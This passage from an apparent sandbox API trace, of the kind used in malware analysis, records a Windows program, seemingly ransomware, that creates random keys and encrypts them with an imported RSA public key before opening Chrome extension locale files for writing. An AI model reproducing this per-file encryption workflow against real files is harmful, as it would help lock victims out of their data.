pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.754] CryptEncrypt (in: hKey=0x659d178, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9120000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9120000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0236.754] GetLastError () returned 0x0 [0236.754] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.754] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0236.757] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659d6f8) returned 1 [0236.757] CryptGetKeyParam (in: hKey=0x659d6f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.757] CryptEncrypt (in: hKey=0x659d6f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9130000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9130000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0236.757] GetLastError () returned 0x0 [0236.757] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.757] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0236.759] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0236.762] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.764] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.764] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0236.764] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.764] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0236.768] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.770] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.770] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0236.770] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.771] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0236.774] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659d3f8) returned 1 [0236.774] CryptGetKeyParam (in: hKey=0x659d3f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.774] CryptEncrypt (in: hKey=0x659d3f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9140000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9140000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0236.774] GetLastError () returned 0x0 [0236.774] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.774] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0236.777] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659d2b8) returned 1 [0236.777] CryptGetKeyParam (in: hKey=0x659d2b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.777] CryptEncrypt (in: hKey=0x659d2b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9150000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9150000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0236.777] GetLastError () returned 0x0 [0236.777] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.777] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0236.778] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0236.781] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.783] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.783] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0236.783] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0236.783] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0236.787] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.789] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.790] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0236.790] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.790] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0236.794] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659d2f8) returned 1 [0236.794] CryptGetKeyParam (in: hKey=0x659d2f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.794] CryptEncrypt (in: hKey=0x659d2f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9160000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9160000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0236.795] GetLastError () returned 0x0 [0236.795] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0236.795] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0236.798] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659d338) returned 1 [0236.798] CryptGetKeyParam (in: hKey=0x659d338, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.798] CryptEncrypt (in: hKey=0x659d338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9170000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9170000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0236.798] GetLastError () returned 0x0 [0236.798] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0236.799] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0236.800] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0236.804] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.807] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.807] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0236.807] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0236.807] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0236.811] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.813] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.813] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0236.813] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.814] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0236.817] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659d438) returned 1 [0236.817] CryptGetKeyParam (in: hKey=0x659d438, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.817] CryptEncrypt (in: hKey=0x659d438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9180000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9180000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0236.817] GetLastError () returned 0x0 [0236.817] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.817] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0236.820] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659d4f8) returned 1 [0236.820] CryptGetKeyParam (in: hKey=0x659d4f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.820] CryptEncrypt (in: hKey=0x659d4f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9190000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9190000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0236.821] GetLastError () returned 0x0 [0236.821] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0236.821] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0236.822] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0236.825] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.828] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.828] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0236.828] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.828] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0236.831] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.833] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.834] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0236.834] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.835] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0236.838] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659d8f8) returned 1 [0236.838] CryptGetKeyParam (in: hKey=0x659d8f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.838] CryptEncrypt (in: hKey=0x659d8f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x91a0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x91a0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0236.839] GetLastError () returned 0x0 [0236.839] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.839] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0236.842] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659da78) returned 1 [0236.842] CryptGetKeyParam (in: hKey=0x659da78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.842] CryptEncrypt (in: hKey=0x659da78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x91b0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x91b0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0236.842] GetLastError () returned 0x0 [0236.842] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0236.842] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0236.844] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0236.848] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.851] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.853] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0236.853] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.853] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0236.857] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.860] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.860] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0236.860] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0236.861] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0236.864] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659d9b8) returned 1 [0236.864] CryptGetKeyParam (in: hKey=0x659d9b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.864] CryptEncrypt (in: hKey=0x659d9b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x91c0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x91c0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0236.864] GetLastError () returned 0x0 [0236.864] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0236.865] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0236.867] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659df38) returned 1 [0236.867] CryptGetKeyParam (in: hKey=0x659df38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.867] CryptEncrypt (in: hKey=0x659df38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x91d0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x91d0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0236.868] GetLastError () returned 0x0 [0236.868] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.868] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0236.869] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0236.872] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.874] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.874] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0236.874] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0236.874] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0236.877] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.879] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.879] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0236.879] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.880] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0236.884] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659dab8) returned 1 [0236.884] CryptGetKeyParam (in: hKey=0x659dab8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.884] CryptEncrypt (in: hKey=0x659dab8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x91e0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x91e0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0236.885] GetLastError () returned 0x0 [0236.885] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.885] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0236.887] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659dcb8) returned 1 [0236.887] CryptGetKeyParam (in: hKey=0x659dcb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.887] CryptEncrypt (in: hKey=0x659dcb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x91f0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x91f0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0236.888] GetLastError () returned 0x0 [0236.888] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.888] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0236.889] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0236.892] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.894] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.894] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0236.894] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0236.894] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0236.897] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.901] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.901] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0236.901] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.901] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0236.904] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659dff8) returned 1 [0236.904] CryptGetKeyParam (in: hKey=0x659dff8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.904] CryptEncrypt (in: hKey=0x659dff8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9200000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9200000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0236.904] GetLastError () returned 0x0 [0236.904] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.904] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", 